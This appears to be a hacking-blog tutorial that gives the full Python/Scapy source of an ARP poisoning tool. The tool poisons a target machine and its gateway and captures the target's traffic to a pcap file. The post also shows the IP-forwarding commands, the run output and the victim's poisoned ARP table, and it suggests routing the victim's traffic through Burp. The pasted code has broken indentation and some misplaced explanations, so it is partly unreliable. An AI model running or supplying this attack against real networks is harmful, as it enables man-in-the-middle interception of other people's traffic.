ARP Cache Spoofing with Scapy In Python | For Hackers

What Is ARP Cache

An ARP cache is a collection of Address Resolution Protocol entries (mostly dynamic) that are created when an IP address is resolved to a MAC address (so the computer can effectively communicate with the IP address).

An ARP cache has the disadvantage of potentially being used by hackers and cyber attackers. An ARP cache helps the attackers hide behind a fake IP address. Beyond the fact that ARP caches may help attackers, it may also prevent the attacks by “distinguish[ing] between low level IP and IP based vulnerabilities”.

ARP Cache Spoofing with Scapy

ARP Spoofing is one of the oldest yet most effective tricks in a hacker’s toolkit. Quite simply, we will convince a target machine that we have become its gateway, and we will also convince the gateway that in order to reach the target machine, all traffic has to go through us. Every com- puter on a network maintains an ARP cache that stores the most recent MAC addresses that match to IP addresses on the local network, and we are going to poison this cache with entries that we control to achieve this attack. Because the Address Resolution Protocol and ARP poisoning in general is covered in numerous other materials, I’ll leave it to you to do any necessary research to understand how this attack works at a lower level.

Now that we know what we need to do, let’s put it into practice. When I tested this, I attacked a real Windows machine and used my Kali VM as my attacking machine. I have also tested this code against various mobile devices connected to a wireless access point and it worked great. The first thing we’ll do is check the ARP cache on the target Windows machine so we can see our attack in action later on. Examine the following to see how to inspect the ARP cache on your Windows VM.

C:\Users\Clare> ipconfig
Windows IP Configuration
Wireless LAN adapter Wireless Network Connection:
 Connection-specific DNS Suffix . : gateway.pace.com
 Link-local IPv6 Address . . . . . : fe80::34a0:48cd:579:a3d9%11
 IPv4 Address. . . . . . . . . . . : 172.16.1.71
 Subnet Mask . . . . . . . . . . . : 255.255.255.0
 Default Gateway . . . . . . . . . : 172.16.1.254

So now we can see that the gateway IP address is at 172.16.1.254.

C:\Users\Clare> arp -a
Interface: 172.16.1.71 --- 0xb
 Internet Address Physical Address Type
 172.16.1.254 3c-ea-4f-2b-41-f9 dynamic 
 172.16.1.255 ff-ff-ff-ff-ff-ff static
 224.0.0.22 01-00-5e-00-00-16 static
 224.0.0.251 01-00-5e-00-00-fb static
 224.0.0.252 01-00-5e-00-00-fc static
 255.255.255.255 ff-ff-ff-ff-ff-ff static

It’s associated ARP cache entry  has a MAC address of 3c-ea-4f-2b-41-f9. We will take note of this because we can view the ARP cache while the attack is ongoing and see that we have changed the gateway’s registered MAC addresses.

Now that we know the gateway and our target IP address, let’s begin coding our ARP poisoning script. Open a new Python file, call it arper.py, and enter the following code:

from scapy.all import *
import os
import sys
import threading
import signal
interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254"
packet_count = 1000
# set our interface
conf.iface = interface
# turn off output
conf.verb = 0
print "[*] Setting up %s" % interface
 gateway_mac = get_mac(gateway_ip) 
if gateway_mac is None:
 print "[!!!] Failed to get gateway MAC. Exiting."
 sys.exit(0)
else:
 print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)

This is the main setup portion of our attack. We start by resolving the gateway.

target_mac = get_mac(target_ip) 
if target_mac is None:
 print "[!!!] Failed to get target MAC. Exiting."
 sys.exit(0)
else:
 print "[*] Target %s is at %s" % (target_ip,target_mac)

Then we will find target IP address’s corresponding MAC addresses using a function called get_mac that we’ll plumb in shortly.

# start poison thread 
 poison_thread = threading.Thread(target = poison_target, args = (gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()
try:
 print "[*] Starting sniffer for %d packets" % packet_count

After we have accom- plished that, we spin up a second thread to begin the actual ARP poisoning attack.

bpf_filter = "ip host %s" % target_ip
 packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)

In our main thread, we start up a sniffer that will capture a preset amount of packets using a BPF filter to only capture traffic for our target IP address.

# write out the captured packets
 wrpcap('arper.pcap',packets)

When all of the packets have been captured, we write them out to a PCAP file so that we can open them in Wireshark or use our upcoming image carving script against them.

# restore the network
restore_target(gateway_ip,gateway_mac,target_ip,target_mac) 
 
except KeyboardInterrupt:
 # restore the network
 restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
 sys.exit(0)

When the attack is finished, we call our restore_target function, which is responsible for putting the network back to the way it was before the ARP poisoning took place.

Let’s add the supporting functions now by punching in the following code above our previous code block:

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
 
 # slightly different method using send
 print "[*] Restoring target..."
 send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
 send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

So this is the meat and potatoes of the actual attack. Our restore_target function simply sends out the appropriate ARP packets to the network broadcast address to reset the ARP caches of the gateway and target machines.

# signals the main thread to exit
 os.kill(os.getpid(), signal.SIGINT)

We also send a signal to the main thread to exit, which will be useful in case our poisoning thread runs into an issue or you hit ctrl-C on your keyboard.

def get_mac(ip_address):
 
 responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2,retry=10)
 
 # return the MAC address from a response
 for s,r in responses:
 return r[Ether].src 
 
 return None

Our get_mac function is responsible for using the srp (send and receive packet) function to emit an ARP request to the specified IP address in order to resolve the MAC address associated with it.

def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
 
 poison_target = ARP()
 poison_target.op = 2
 poison_target.psrc = gateway_ip
 poison_target.pdst = target_ip
 poison_target.hwdst= target_mac

 poison_gateway = ARP()
 poison_gateway.op = 2
 poison_gateway.psrc = target_ip
 poison_gateway.pdst = gateway_ip
 poison_gateway.hwdst= gateway_mac
 print "[*] Beginning the ARP poison. [CTRL-C to stop]"

Our poison_target function builds up ARP requests for poisoning both the target IP and the gateway.

while True: 
 try:
 send(poison_target)
 send(poison_gateway)
 
 time.sleep(2)
 except KeyboardInterrupt:
 restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
 
 print "[*] ARP poison attack finished."
 return

By poisoning both the gateway and the target IP address, we can see traffic flowing in and out of the target. We keep emitting these ARP requests in a loop to make sure that the respective ARP cache entries remain poisoned for the duration of our attack.

Let’s Check Our Code

Before we begin, we need to first tell our local host machine that we can forward packets along to both the gateway and the target IP address. If you are on your Kali VM, enter the following command into your terminal:

#:> echo 1 > /proc/sys/net/ipv4/ip_forward

If you are an Apple fanboy, then use the following command:

fanboy:tmp sudopsxc$ sudo sysctl -w net.inet.ip.forwarding=1

Now that we have IP forwarding in place, let’s fire up our script and check the ARP cache of our target machine. From your attacking machine, run the following (as root):

fanboy:tmp sudopsxc$ sudo python2.7 arper.py
WARNING: No route found for IPv6 destination :: (no default route?)
[*] Setting up en1
[*] Gateway 172.16.1.254 is at 3c:ea:4f:2b:41:f9
[*] Target 172.16.1.71 is at 00:22:5f:ec:38:3d
[*] Beginning the ARP poison. [CTRL-C to stop]
[*] Starting sniffer for 1000 packets

Awesome! No errors or other weirdness. Now let’s validate the attack on our target machine:

C:\Users\Clare> arp -a

Interface: 172.16.1.71 --- 0xb
 Internet Address Physical Address Type
 172.16.1.64 10-40-f3-ab-71-02 dynamic
 172.16.1.254 10-40-f3-ab-71-02 dynamic
 172.16.1.255 ff-ff-ff-ff-ff-ff static
 224.0.0.22 01-00-5e-00-00-16 static
 224.0.0.251 01-00-5e-00-00-fb static
 224.0.0.252 01-00-5e-00-00-fc static
 255.255.255.255 ff-ff-ff-ff-ff-ff static

You can now see that poor Clare (it’s hard being married to a hacker, hackin’ ain’t easy, etc.) now has her ARP cache poisoned where the gateway now has the same MAC address as the attacking computer. You can clearly see in the entry above the gateway that I’m attacking from 172.16.1.64. When the attack is finished capturing packets, you should see an arper.pcap file in the same directory as your script. You can of course do things such as force the target computer to proxy all of its traffic through a local instance of Burp or do any number of other nasty things.

Also Check How To Hack Email By Packet Sniffing With Python | For Hackers.

One thought on “ARP Cache Spoofing with Scapy In Python | For Hackers

Leave a Reply

Your email address will not be published. Required fields are marked *